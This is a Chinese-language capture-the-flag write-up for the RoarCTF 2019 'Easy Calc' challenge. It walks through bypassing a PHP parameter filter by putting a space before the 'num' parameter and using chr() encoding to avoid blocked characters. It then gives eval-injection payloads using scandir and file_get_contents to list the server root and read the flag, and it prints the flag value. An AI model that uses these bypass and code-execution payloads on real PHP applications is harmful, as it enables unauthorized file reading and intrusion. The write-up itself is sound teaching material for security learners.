当前位置: 首页 > news >正文

[RoarCTF 2019]Easy Calc 详解

  • [RoarCTF 2019]Easy Calc

  • 1

  • ajax 是进行前后端交互的 但是我们发现一个waf 就是他提示的
  • "calc.php?num="+encodeURIComponent($("#content").val()) ?num 的值必须是数字
  • 审计一下

  • foreach

  • 发现了num的限制
  • 但是eval是rce的标志所以我们首选的就是使用命令执行

  • 被禁止了 system() 使用其他的passtru()等也鸡鸡了
  • 所以就不是命令执行了 而是代码执行
  • scandir() 函数可以进行目录的扫描 我们扫一下根目录
  • 但是 / 被过滤了 可以使用chr(ascii码) 进行转换 / 的ascii 可以使用py脚本看一下

  • ord 和chr 一个是进行ascii码的查找一个是进行字符串的匹配
  • 所以构造payload ?num=scandir(chr(47))
  • 但是这个前端的验证必须要我们的num是数字

  • "calc.php?num="1;scandir(chr(47)) #+encodeURIComponent($("#content").val())
  • 黄的就是构造的pay
  • 试一下

  • 报废了
  • 还涉及一个知识点

  • php bypass
  • 我们了解一下php的接收参数的逻辑 : 他会对 num 传的数据进行去空格个/等的处理
  • 但是如果我们在 num之前加一个 空格或者加号 就会让前端的这个机制无法识别num的具体位置
  • 但是后端是没有影响的 后端会剥去这些

  • 加一个空格 :"calc.php ?num="+encodeURIComponent($("#content").val())
  • 对方就不认识了 这个前端的waf就绕过了直接传到后端
  • 实现绕过 这样num就可以是任何数了
  • node5.buuoj.cn:26836/calc.php? num=1;var_dump(scandir(chr(47)))
  • 为什么使用var_dump => 这个是处理数组的 而 scandir 返回的就是数组
  • 找到flag

  • 这个是文件 可以使用函数 file_get_contents()进行读取文件

  • 别忘了路径前面要有一个 /
  • ?%20num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

  • flag{fbdd82de-9005-4f6d-a16b-424fca06a347}

相关文章:

  • 空洞/膨胀卷积
  • clangd-vscode配置
  • 网络安全之红队LLM的大模型自动化越狱
  • LinuxAgent开源程序是一款智能运维助手,通过接入 DeepSeek API 实现对 Linux 终端的自然语言控制,帮助用户更高效地进行系统运维工作
  • 遗传算法实现单货架库位优化
  • 在Linux系统中安装Anaconda的完整指南
  • vue3代码规范管理;基于vite和vue3、 eslint、prettier、stylelint、husky规范;git触发eslint校验
  • JavaWeb:vueaxios
  • 光触发RFID:破解物流、电力、资产管理三大领域的“不可能三角”
  • 基于 Python 的实现:居民用电量数据分析与可视化
  • 基于SpringBoot的食物营养分析与推荐网站系统
  • 22.晶振的信号与布局布线处理
  • 安卓基础(泛型)
  • 跨语言哈希一致性:C# 与 Java 的 MD5 之战?
  • 搭建speak yarn集群:从零开始的详细指南
  • C++(初阶)(十三)——继承
  • 【C++11特性】Lambda表达式(匿名函数)
  • 职坐标IT培训破局AI风口新赛道
  • 「Mac畅玩AIGC与多模态06」开发篇02 - 开发第一个知识库问答应用
  • MANIPTRANS:通过残差学习实现高效的灵巧双手操作迁移
  • 拍摄《我们这一代》的肖全开展“江浙沪叙事”
  • “五一”逃离城市计划:带上帐篷去大自然里充电
  • 神舟十九号载人飞行任务取得圆满成功
  • 美国通过《删除法案》:打击未经同意发布他人私密图像,包括“深度伪造”
  • 西班牙葡萄牙电力基本恢复
  • 王毅:为改革完善全球治理作出金砖贡献